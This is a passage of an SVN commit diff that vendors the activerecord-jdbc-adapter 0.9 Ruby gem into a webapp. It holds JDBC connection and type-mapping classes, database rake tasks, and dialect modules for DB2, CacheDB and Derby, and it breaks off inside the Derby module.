+                          lambda {|r| r['type_name'] =~ /^date/i},
+                          lambda {|r| r['type_name'] =~ /^integer/i}],  #Num of milliseconds for SQLite3 JDBC Driver3
+        :binary      => [ lambda {|r| [Jdbc::Types::LONGVARBINARY,Jdbc::Types::BINARY,Jdbc::Types::BLOB].include?(r['data_type'].to_i)},
+                          lambda {|r| r['type_name'] =~ /^blob/i},
+                          lambda {|r| r['type_name'] =~ /sub_type 0$/i}, # For FireBird
+                          lambda {|r| r['type_name'] =~ /^varbinary$/i}, # We want this sucker for Mimer
+                          lambda {|r| r['type_name'] =~ /^binary$/i}, ],
+        :boolean     => [ lambda {|r| [Jdbc::Types::TINYINT].include?(r['data_type'].to_i)},
+                          lambda {|r| r['type_name'] =~ /^bool/i},
+                          lambda {|r| r['data_type'] == '-7'},
+                          lambda {|r| r['type_name'] =~ /^tinyint$/i},
+                          lambda {|r| r['type_name'] =~ /^decimal$/i},
+                          lambda {|r| r['type_name'] =~ /^integer$/i}]
+      }
+
+      def initialize(types)
+        @types = types
+        @types.each {|t| t['type_name'] ||= t['local_type_name']} # Sybase driver seems to want 'local_type_name'
+      end
+
+      def choose_best_types
+        type_map = {}
+        @types.each do |row|
+          name = row['type_name'].downcase
+          k = name.to_sym
+          type_map[k] = { :name => name }
+          type_map[k][:limit] = row['precision'].to_i if row['precision']
+        end
+
+        AR_TO_JDBC_TYPES.keys.each do |k|
+          typerow = choose_type(k)
+          type_map[k] = { :name => typerow['type_name'].downcase }
+          case k
+          when :integer, :string, :decimal
+            type_map[k][:limit] = typerow['precision'] && typerow['precision'].to_i
+          when :boolean
+            type_map[k][:limit] = 1
+          end
+        end
+        type_map
+      end
+
+      def choose_type(ar_type)
+        procs = AR_TO_JDBC_TYPES[ar_type]
+        types = @types
+        procs.each do |p|
+          new_types = types.select(&p)
+          new_types = new_types.inject([]) do |typs,t|
+            typs << t unless typs.detect {|el| el['type_name'] == t['type_name']}
+            typs
+          end
+          return new_types.first if new_types.length == 1
+          types = new_types if new_types.length > 0
+        end
+        raise "unable to choose type for #{ar_type} from:\n#{types.collect{|t| t['type_name']}.inspect}"
+      end
+    end
+
+    class JdbcDriver
+      def initialize(name)
+        @name = name
+      end
+
+      def driver_class
+        @driver_class ||= begin
+          driver_class_const = (@name[0...1].capitalize + @name[1.. at name.length]).gsub(/\./, '_')
+          Jdbc::Mutex.synchronized do
+            unless Jdbc.const_defined?(driver_class_const)
+              driver_class_name = @name
+              Jdbc.module_eval do
+                include_class(driver_class_name) { driver_class_const }
+              end
+            end
+          end
+          driver_class = Jdbc.const_get(driver_class_const)
+          raise "You specify a driver for your JDBC connection" unless driver_class
+          driver_class
+        end
+      end
+
+      def load
+        Jdbc::DriverManager.registerDriver(create)
+      end
+
+      def connection(url, user, pass)
+        Jdbc::DriverManager.getConnection(url, user, pass)
+      rescue
+        # bypass DriverManager to get around problem with dynamically loaded jdbc drivers
+        props = java.util.Properties.new
+        props.setProperty("user", user)
+        props.setProperty("password", pass)
+        create.connect(url, props)
+      end
+
+      def create
+        driver_class.new
+      end
+    end
+
+    class JdbcColumn < Column
+      attr_writer :limit, :precision
+
+      COLUMN_TYPES = ::JdbcSpec.constants.map{|c|
+        ::JdbcSpec.const_get c }.select{ |c|
+        c.respond_to? :column_selector }.map{|c|
+        c.column_selector }.inject({}) { |h,val|
+        h[val[0]] = val[1]; h }
+
+      def initialize(config, name, default, *args)
+        dialect = config[:dialect] || config[:driver]
+        for reg, func in COLUMN_TYPES
+          if reg === dialect.to_s
+            func.call(config,self)
+          end
+        end
+        super(name,default_value(default),*args)
+        init_column(name, default, *args)
+      end
+
+      def init_column(*args)
+      end
+
+      def default_value(val)
+        val
+      end
+    end
+
+    include_class "jdbc_adapter.JdbcConnectionFactory"
+
+    class JdbcConnection
+      attr_reader :adapter, :connection_factory
+
+      def initialize(config)
+        @config = config.symbolize_keys!
+        @config[:retry_count] ||= 5
+        @config[:connection_alive_sql] ||= "select 1"
+        if @config[:jndi]
+          begin
+            configure_jndi
+          rescue => e
+            warn "JNDI data source unavailable: #{e.message}; trying straight JDBC"
+            configure_jdbc
+          end
+        else
+          configure_jdbc
+        end
+        connection # force the connection to load
+        set_native_database_types
+        @stmts = {}
+      rescue Exception => e
+        raise "The driver encountered an error: #{e}"
+      end
+
+      def adapter=(adapt)
+        @adapter = adapt
+        @tps = {}
+        @native_types.each_pair {|k,v| @tps[k] = v.inject({}) {|memo,kv| memo.merge({kv.first => (kv.last.dup rescue kv.last)})}}
+        adapt.modify_types(@tps)
+      end
+
+      # Default JDBC introspection for index metadata on the JdbcConnection.
+      # This is currently used for migrations by JdbcSpec::HSQDLB and JdbcSpec::Derby
+      # indexes with a little filtering tacked on.
+      #
+      # JDBC index metadata is denormalized (multiple rows may be returned for
+      # one index, one row per column in the index), so a simple block-based
+      # filter like that used for tables doesn't really work here.  Callers
+      # should filter the return from this method instead.
+      def indexes(table_name, name = nil, schema_name = nil)
+        with_connection_retry_guard do |conn|
+          metadata = conn.getMetaData
+          begin
+            unless String === table_name
+              table_name = table_name.to_s
+            else
+              table_name = table_name.dup
+            end
+            table_name.upcase! if metadata.storesUpperCaseIdentifiers
+            table_name.downcase! if metadata.storesLowerCaseIdentifiers
+            resultset = metadata.getIndexInfo(nil, schema_name, table_name, false, false)
+            primary_keys = primary_keys(table_name)
+            indexes = []
+            current_index = nil
+            while resultset.next
+              index_name = resultset.get_string(Jdbc::IndexMetaData::INDEX_NAME)
+              next unless index_name
+              index_name.downcase!
+              column_name = resultset.get_string(Jdbc::IndexMetaData::COLUMN_NAME).downcase
+
+              next if primary_keys.include? column_name
+
+              # We are working on a new index
+              if current_index != index_name
+                current_index = index_name
+                table_name = resultset.get_string(Jdbc::IndexMetaData::TABLE_NAME).downcase
+                non_unique = resultset.get_boolean(Jdbc::IndexMetaData::NON_UNIQUE)
+
+                # empty list for column names, we'll add to that in just a bit
+                indexes << IndexDefinition.new(table_name, index_name, !non_unique, [])
+              end
+
+              # One or more columns can be associated with an index
+              indexes.last.columns << column_name
+            end
+            resultset.close
+            indexes
+          ensure
+            metadata.close rescue nil
+          end
+        end
+      end
+
+      def jndi_connection?
+        @jndi_connection
+      end
+
+      private
+      def configure_jndi
+        jndi = @config[:jndi].to_s
+        ctx = javax.naming.InitialContext.new
+        ds = ctx.lookup(jndi)
+        @connection_factory = JdbcConnectionFactory.impl do
+          ds.connection
+        end
+        unless @config[:driver]
+          @config[:driver] = connection.meta_data.connection.java_class.name
+        end
+        @jndi_connection = true
+      end
+
+      def configure_jdbc
+        driver = @config[:driver].to_s
+        user   = @config[:username].to_s
+        pass   = @config[:password].to_s
+        url    = @config[:url].to_s
+
+        unless driver && url
+          raise ::ActiveRecord::ConnectionFailed, "jdbc adapter requires driver class and url"
+        end
+
+        if driver =~ /mysql/i && url !~ /#{Regexp.quote(JdbcSpec::MySQL::URL_OPTIONS)}/
+          div = url =~ /\?/ ? '&' : '?'
+          url = "#{url}#{div}#{JdbcSpec::MySQL::URL_OPTIONS}"
+          @config[:url] = url
+        end
+
+        jdbc_driver = JdbcDriver.new(driver)
+        jdbc_driver.load
+        @connection_factory = JdbcConnectionFactory.impl do
+          jdbc_driver.connection(url, user, pass)
+        end
+      end
+    end
+
+    class JdbcAdapter < AbstractAdapter
+      module ShadowCoreMethods
+        def alias_chained_method(meth, feature, target)
+          if instance_methods.include?("#{meth}_without_#{feature}")
+            alias_method "#{meth}_without_#{feature}".to_sym, target
+          else
+            alias_method meth, target
+          end
+        end
+      end
+
+      module CompatibilityMethods
+        def self.needed?(base)
+          !base.instance_methods.include?("quote_table_name")
+        end
+
+        def quote_table_name(name)
+          quote_column_name(name)
+        end
+      end
+
+      module ConnectionPoolCallbacks
+        def self.included(base)
+          base.checkin :on_checkin
+          base.checkout :on_checkout
+        end
+
+        def self.needed?
+          ActiveRecord::Base.respond_to?(:connection_pool)
+        end
+
+        def on_checkin
+          # default implementation does nothing
+        end
+
+        def on_checkout
+          # default implementation does nothing
+        end
+      end
+
+      module JndiConnectionPoolCallbacks
+        def self.prepare(adapter, conn)
+          if ActiveRecord::Base.respond_to?(:connection_pool) && conn.jndi_connection?
+            adapter.extend self
+            conn.disconnect! # disconnect initial connection in JdbcConnection#initialize
+          end
+        end
+
+        def on_checkin
+          disconnect!
+        end
+
+        def on_checkout
+          reconnect!
+        end
+      end
+
+      extend ShadowCoreMethods
+      include CompatibilityMethods if CompatibilityMethods.needed?(self)
+      include ConnectionPoolCallbacks if ConnectionPoolCallbacks.needed?
+
+      attr_reader :config
+
+      ADAPTER_TYPES = ::JdbcSpec.constants.map{|c|
+        ::JdbcSpec.const_get c }.select{ |c|
+        c.respond_to? :adapter_selector }.map{|c|
+        c.adapter_selector }.inject({}) { |h,val|
+        h[val[0]] = val[1]; h }
+
+      def initialize(connection, logger, config)
+        super(connection, logger)
+        @config = config
+        dialect = config[:dialect] || config[:driver]
+        for reg, func in ADAPTER_TYPES
+          if reg === dialect.to_s
+            func.call(@config,self)
+          end
+        end
+        connection.adapter = self
+        JndiConnectionPoolCallbacks.prepare(self, connection)
+      end
+
+      def modify_types(tp)
+        tp
+      end
+
+      def adapter_name #:nodoc:
+        'JDBC'
+      end
+
+      def supports_migrations?
+        true
+      end
+
+      def native_database_types #:nodoc:
+        @connection.native_database_types
+      end
+
+      def database_name #:nodoc:
+        @connection.database_name
+      end
+
+      def native_sql_to_type(tp)
+        if /^(.*?)\(([0-9]+)\)/ =~ tp
+          tname = $1
+          limit = $2.to_i
+          ntype = native_database_types
+          if ntype[:primary_key] == tp
+            return :primary_key,nil
+          else
+            ntype.each do |name,val|
+              if name == :primary_key
+                next
+              end
+              if val[:name].downcase == tname.downcase && (val[:limit].nil? || val[:limit].to_i == limit)
+                return name,limit
+              end
+            end
+          end
+        elsif /^(.*?)/ =~ tp
+          tname = $1
+          ntype = native_database_types
+          if ntype[:primary_key] == tp
+            return :primary_key,nil
+          else
+            ntype.each do |name,val|
+              if val[:name].downcase == tname.downcase && val[:limit].nil?
+                return name,nil
+              end
+            end
+          end
+        else
+          return :string,255
+        end
+        return nil,nil
+      end
+
+      def reconnect!
+        @connection.reconnect!
+        @connection
+      end
+
+      def disconnect!
+        @connection.disconnect!
+      end
+
+      def jdbc_select_all(sql, name = nil)
+        select(sql, name)
+      end
+      alias_chained_method :select_all, :query_cache, :jdbc_select_all
+
+      def select_rows(sql, name = nil)
+        rows = []
+        select(sql, name).each {|row| rows << row.values }
+        rows
+      end
+
+      def select_one(sql, name = nil)
+        select(sql, name).first
+      end
+
+      def execute(sql, name = nil)
+        log(sql, name) do
+          _execute(sql,name)
+        end
+      end
+
+      # we need to do it this way, to allow Rails stupid tests to always work
+      # even if we define a new execute method. Instead of mixing in a new
+      # execute, an _execute should be mixed in.
+      def _execute(sql, name = nil)
+        if JdbcConnection::select?(sql)
+          @connection.execute_query(sql)
+        elsif JdbcConnection::insert?(sql)
+          @connection.execute_insert(sql)
+        else
+          @connection.execute_update(sql)
+        end
+      end
+
+      def jdbc_update(sql, name = nil) #:nodoc:
+        execute(sql, name)
+      end
+      alias_chained_method :update, :query_dirty, :jdbc_update
+
+      def jdbc_insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
+        id = execute(sql, name = nil)
+        id_value || id
+      end
+      alias_chained_method :insert, :query_dirty, :jdbc_insert
+
+      def jdbc_columns(table_name, name = nil)
+        @connection.columns(table_name.to_s)
+      end
+      alias_chained_method :columns, :query_cache, :jdbc_columns
+
+      def tables
+        @connection.tables
+      end
+
+      def indexes(table_name, name = nil, schema_name = nil)
+        @connection.indexes(table_name, name, schema_name)
+      end
+
+      def begin_db_transaction
+        @connection.begin
+      end
+
+      def commit_db_transaction
+        @connection.commit
+      end
+
+      def rollback_db_transaction
+        @connection.rollback
+      end
+
+      def write_large_object(*args)
+        @connection.write_large_object(*args)
+      end
+
+      private
+      def select(sql, name=nil)
+        execute(sql,name)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/jdbc_adapter_spec.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/jdbc_adapter_spec.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/jdbc_adapter_spec.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+
+require 'jdbc_adapter/jdbc_mimer'
+require 'jdbc_adapter/jdbc_hsqldb'
+require 'jdbc_adapter/jdbc_oracle'
+require 'jdbc_adapter/jdbc_postgre'
+require 'jdbc_adapter/jdbc_mysql'
+require 'jdbc_adapter/jdbc_derby'
+require 'jdbc_adapter/jdbc_firebird'
+require 'jdbc_adapter/jdbc_db2'
+require 'jdbc_adapter/jdbc_mssql'
+require 'jdbc_adapter/jdbc_cachedb'
+require 'jdbc_adapter/jdbc_sqlite3'
+require 'jdbc_adapter/jdbc_sybase'
+require 'jdbc_adapter/jdbc_informix'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/jndi_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/jndi_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/jndi_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+require 'active_record/connection_adapters/jdbc_adapter'
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/mysql_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/mysql_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/mysql_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+tried_gem = false
+begin
+  require "jdbc/mysql"
+rescue LoadError
+  unless tried_gem
+    require 'rubygems'
+    gem "jdbc-mysql"
+    tried_gem = true
+    retry
+  end
+  # trust that the mysql jar is already present
+end
+require 'active_record/connection_adapters/jdbc_adapter'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/oracle_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/oracle_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/oracle_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+require 'active_record/connection_adapters/jdbc_adapter'
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/postgresql_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/postgresql_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/postgresql_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+tried_gem = false
+begin
+  require "jdbc/postgres"
+rescue LoadError
+  unless tried_gem
+    require 'rubygems'
+    gem "jdbc-postgres"
+    tried_gem = true
+    retry
+  end
+  # trust that the postgres jar is already present
+end
+require 'active_record/connection_adapters/jdbc_adapter'
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/sqlite3_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/sqlite3_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/sqlite3_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+tried_gem = false
+begin
+  require "jdbc/sqlite3"
+rescue LoadError
+  unless tried_gem
+    require 'rubygems'
+    gem "jdbc-sqlite3"
+    tried_gem = true
+    retry
+  end
+  # trust that the sqlite jar is already present
+end
+require 'active_record/connection_adapters/jdbc_adapter'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc.rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc.rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc.rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,94 @@
+def redefine_task(*args, &block)
+  task_name = Hash === args.first ? args.first.keys[0] : args.first
+  existing_task = Rake.application.lookup task_name
+  if existing_task
+    class << existing_task; public :instance_variable_set; end
+    existing_task.instance_variable_set "@prerequisites", FileList[]
+    existing_task.instance_variable_set "@actions", []
+  end
+  task(*args, &block)
+end
+
+namespace :db do
+  if Rake::Task["db:create"]
+    redefine_task :create => :environment do
+      create_database(ActiveRecord::Base.configurations[RAILS_ENV])
+    end
+
+    class << self; alias_method :previous_create_database, :create_database; end
+    def create_database(config)
+      begin
+        ActiveRecord::Base.establish_connection(config)
+        ActiveRecord::Base.connection
+      rescue
+        begin
+          url = config['url']
+          if url
+            if url =~ /^(.*\/)/
+              url = $1
+            end
+          end
+
+          ActiveRecord::Base.establish_connection(config.merge({'database' => nil, 'url' => url}))
+          ActiveRecord::Base.connection.create_database(config['database'])
+          ActiveRecord::Base.establish_connection(config)
+        rescue
+          previous_create_database(config)
+        end
+      end
+    end
+
+    redefine_task :drop => :environment do
+      config = ActiveRecord::Base.configurations[RAILS_ENV]
+      begin
+        ActiveRecord::Base.establish_connection(config)
+        db = ActiveRecord::Base.connection.database_name
+        ActiveRecord::Base.connection.drop_database(db)
+      rescue
+        drop_database(config)
+      end
+    end
+  end
+
+  namespace :structure do
+    redefine_task :dump => :environment do
+      abcs = ActiveRecord::Base.configurations
+      ActiveRecord::Base.establish_connection(abcs[RAILS_ENV])
+      File.open("db/#{RAILS_ENV}_structure.sql", "w+") { |f| f << ActiveRecord::Base.connection.structure_dump }
+      if ActiveRecord::Base.connection.supports_migrations?
+        File.open("db/#{RAILS_ENV}_structure.sql", "a") { |f| f << ActiveRecord::Base.connection.dump_schema_information }
+      end
+    end
+  end
+
+  namespace :test do
+    redefine_task :clone_structure => [ "db:structure:dump", "db:test:purge" ] do
+      abcs = ActiveRecord::Base.configurations
+      abcs['test']['pg_params'] = '?allowEncodingChanges=true' if abcs['test']['adapter'] =~ /postgresql/i
+      ActiveRecord::Base.establish_connection(abcs["test"])
+      ActiveRecord::Base.connection.execute('SET foreign_key_checks = 0') if abcs["test"]["adapter"] =~ /mysql/i
+      IO.readlines("db/#{RAILS_ENV}_structure.sql").join.split(";\n\n").each do |ddl|
+        ActiveRecord::Base.connection.execute(ddl.chomp(';'))
+      end
+    end
+
+    redefine_task :purge => :environment do
+      abcs = ActiveRecord::Base.configurations
+      config = abcs['test'].dup
+      if config['adapter'] =~ /postgresql/i
+        if config['url']
+          db = config['url'][/\/([^\/]*)$/, 1]
+          config['url'][/\/([^\/]*)$/, 1] if db_name
+        else
+          db = config['database']
+          config['database'] = 'postgres'
+        end
+        ActiveRecord::Base.establish_connection(config)
+      else
+        ActiveRecord::Base.establish_connection(config)
+        db = ActiveRecord::Base.connection.database_name
+      end
+      ActiveRecord::Base.connection.recreate_database(db)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_adapter_internal.jar
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_adapter_internal.jar
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_cachedb.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_cachedb.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_cachedb.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+require 'jdbc_adapter/tsql_helper'
+
+module ::JdbcSpec
+  module ActiveRecordExtensions
+    def cachedb_connection( config )
+      config[:port] ||= 1972
+      config[:url] ||= "jdbc:Cache://#{config[:host]}:#{config[:port]}/#{ config[:database]}"
+      config[:driver] ||= "com.intersys.jdbc.CacheDriver"
+      jdbc_connection( config )
+    end
+  end
+
+  module CacheDB
+    include TSqlMethods
+
+    def self.column_selector
+      [ /cache/i, lambda {  | cfg, col | col.extend( ::JdbcSpec::CacheDB::Column ) } ]
+    end
+
+    def self.adapter_selector
+      [ /cache/i, lambda {  | cfg, adapt | adapt.extend( ::JdbcSpec::CacheDB ) } ]
+    end
+
+    module Column
+    end
+    
+    def create_table(name, options = { })
+      super(name, options)
+      primary_key = options[:primary_key] || "id"
+      execute "ALTER TABLE #{name} ADD CONSTRAINT #{name}_PK PRIMARY KEY(#{primary_key})" unless options[:id] == false
+    end
+  end
+end


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_cachedb.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_db2.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_db2.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_db2.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,193 @@
+module JdbcSpec
+  module DB2
+    def self.column_selector
+      [/db2/i, lambda {|cfg,col|
+         if cfg[:url] =~ /^jdbc:derby:net:/
+           col.extend(::JdbcSpec::Derby::Column)
+         else
+           col.extend(::JdbcSpec::DB2::Column)
+         end }]
+    end
+
+    def self.adapter_selector
+      [/db2/i, lambda {|cfg,adapt|
+         if cfg[:url] =~ /^jdbc:derby:net:/
+           adapt.extend(::JdbcSpec::Derby)
+         else
+           adapt.extend(::JdbcSpec::DB2)
+         end }]
+    end
+
+    module Column
+      def type_cast(value)
+        return nil if value.nil? || value =~ /^\s*null\s*$/i
+        case type
+        when :string    then value
+        when :integer   then defined?(value.to_i) ? value.to_i : (value ? 1 : 0)
+        when :primary_key then defined?(value.to_i) ? value.to_i : (value ? 1 : 0)
+        when :float     then value.to_f
+        when :datetime  then cast_to_date_or_time(value)
+        when :timestamp then cast_to_time(value)
+        when :time      then cast_to_time(value)
+        else value
+        end
+      end
+      def cast_to_date_or_time(value)
+        return value if value.is_a? Date
+        return nil if value.blank?
+        guess_date_or_time((value.is_a? Time) ? value : cast_to_time(value))
+      end
+
+      def cast_to_time(value)
+        return value if value.is_a? Time
+        time_array = ParseDate.parsedate value
+        time_array[0] ||= 2000; time_array[1] ||= 1; time_array[2] ||= 1;
+        Time.send(ActiveRecord::Base.default_timezone, *time_array) rescue nil
+      end
+
+      def guess_date_or_time(value)
+        (value.hour == 0 and value.min == 0 and value.sec == 0) ?
+        Date.new(value.year, value.month, value.day) : value
+      end
+    end
+
+    def modify_types(tp)
+      tp[:primary_key] = 'int generated by default as identity (start with 42) primary key'
+      tp[:string][:limit] = 255
+      tp[:integer][:limit] = nil
+      tp[:boolean][:limit] = nil
+      tp
+    end
+
+    def add_limit_offset!(sql, options)
+      if limit = options[:limit]
+        offset = options[:offset] || 0
+        sql.gsub!(/SELECT/i, 'SELECT B.* FROM (SELECT A.*, row_number() over () AS internal$rownum FROM (SELECT')
+        sql << ") A ) B WHERE B.internal$rownum > #{offset} AND B.internal$rownum <= #{limit + offset}"
+      end
+    end
+
+    def quote_column_name(column_name)
+      column_name
+    end
+
+    def quote(value, column = nil) # :nodoc:
+      if column && column.type == :primary_key
+        return value.to_s
+      end
+      if column && (column.type == :decimal || column.type == :integer) && value
+        return value.to_s
+      end
+      case value
+      when String
+        if column && column.type == :binary
+          "BLOB('#{quote_string(value)}')"
+        else
+          "'#{quote_string(value)}'"
+        end
+      else super
+      end
+    end
+
+    def quote_string(string)
+      string.gsub(/'/, "''") # ' (for ruby-mode)
+    end
+
+    def quoted_true
+      '1'
+    end
+
+    def quoted_false
+      '0'
+    end
+
+    def recreate_database(name)
+      do_not_drop = ["stmg_dbsize_info","hmon_atm_info","hmon_collection","policy"]
+      tables.each do |table|
+        unless do_not_drop.include?(table)
+          drop_table(table)
+        end
+      end
+    end
+
+    def remove_index(table_name, options = { })
+      execute "DROP INDEX #{quote_column_name(index_name(table_name, options))}"
+    end
+
+    # This method makes tests pass without understanding why.
+    # Don't use this in production.
+    def columns(table_name, name = nil)
+      super.select do |col|
+        # strip out "magic" columns from DB2 (?)
+        !/rolename|roleid|create_time|auditpolicyname|auditpolicyid|remarks/.match(col.name)
+      end
+    end
+
+    def add_quotes(name)
+      return name unless name
+      %Q{"#{name}"}
+    end
+
+    def strip_quotes(str)
+      return str unless str
+      return str unless /^(["']).*\1$/ =~ str
+      str[1..-2]
+    end
+
+    def expand_double_quotes(name)
+      return name unless name && name['"']
+      name.gsub(/"/,'""')
+    end
+
+
+    def structure_dump #:nodoc:
+      definition=""
+      rs = @connection.connection.meta_data.getTables(nil,nil,nil,["TABLE"].to_java(:string))
+      while rs.next
+        tname = rs.getString(3)
+        definition << "CREATE TABLE #{tname} (\n"
+        rs2 = @connection.connection.meta_data.getColumns(nil,nil,tname,nil)
+        first_col = true
+        while rs2.next
+          col_name = add_quotes(rs2.getString(4));
+          default = ""
+          d1 = rs2.getString(13)
+          default = d1 ? " DEFAULT #{d1}" : ""
+
+          type = rs2.getString(6)
+          col_size = rs2.getString(7)
+          nulling = (rs2.getString(18) == 'NO' ? " NOT NULL" : "")
+          create_col_string = add_quotes(expand_double_quotes(strip_quotes(col_name))) +
+            " " +
+            type +
+            "" +
+            nulling +
+            default
+          if !first_col
+            create_col_string = ",\n #{create_col_string}"
+          else
+            create_col_string = " #{create_col_string}"
+          end
+
+          definition << create_col_string
+
+          first_col = false
+        end
+        definition << ");\n\n"
+      end
+      definition
+    end
+
+    def dump_schema_information
+      begin
+        if (current_schema = ActiveRecord::Migrator.current_version) > 0
+          #TODO: Find a way to get the DB2 instace name to properly form the statement
+          return "INSERT INTO DB2INST2.SCHEMA_INFO (version) VALUES (#{current_schema})"
+        end
+      rescue ActiveRecord::StatementInvalid
+        # No Schema Info
+      end
+    end
+
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_derby.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_derby.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_derby.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,384 @@
+require 'jdbc_adapter/missing_functionality_helper'
+
+module ::JdbcSpec
+  module ActiveRecordExtensions
+    def derby_connection(config)
+      config[:url] ||= "jdbc:derby:#{config[:database]};create=true"
+      config[:driver] ||= "org.apache.derby.jdbc.EmbeddedDriver"
+      embedded_driver(config)
+    end
+  end
+
+  module Derby
+    def self.column_selector
+      [/derby/i, lambda {|cfg,col| col.extend(::JdbcSpec::Derby::Column)}]
+    end
+
+    def self.adapter_selector
+      [/derby/i, lambda {|cfg,adapt| adapt.extend(::JdbcSpec::Derby)}]
+    end
+
+    def self.monkey_rails
+      unless @already_monkeyd
+        # Needed because Rails is broken wrt to quoting of
+        # some values. Most databases are nice about it,
+        # but not Derby. The real issue is that you can't
+        # compare a CHAR value to a NUMBER column.
+        ::ActiveRecord::Associations::ClassMethods.module_eval do
+          private
+
+          def select_limited_ids_list(options, join_dependency)
+            connection.select_all(
+                                  construct_finder_sql_for_association_limiting(options, join_dependency),
+                                  "#{name} Load IDs For Limited Eager Loading"
+                                  ).collect { |row| connection.quote(row[primary_key], columns_hash[primary_key]) }.join(", ")
+          end
+        end
+
+        @already_monkeyd = true
+      end
+    end
+
+    def self.extended(*args)
+      monkey_rails
+    end
+
+    def self.included(*args)
+      monkey_rails
+    end
+
+    module Column
+      def value_to_binary(value)
+        value.scan(/[0-9A-Fa-f]{2}/).collect {|v| v.to_i(16)}.pack("C*")
+      end
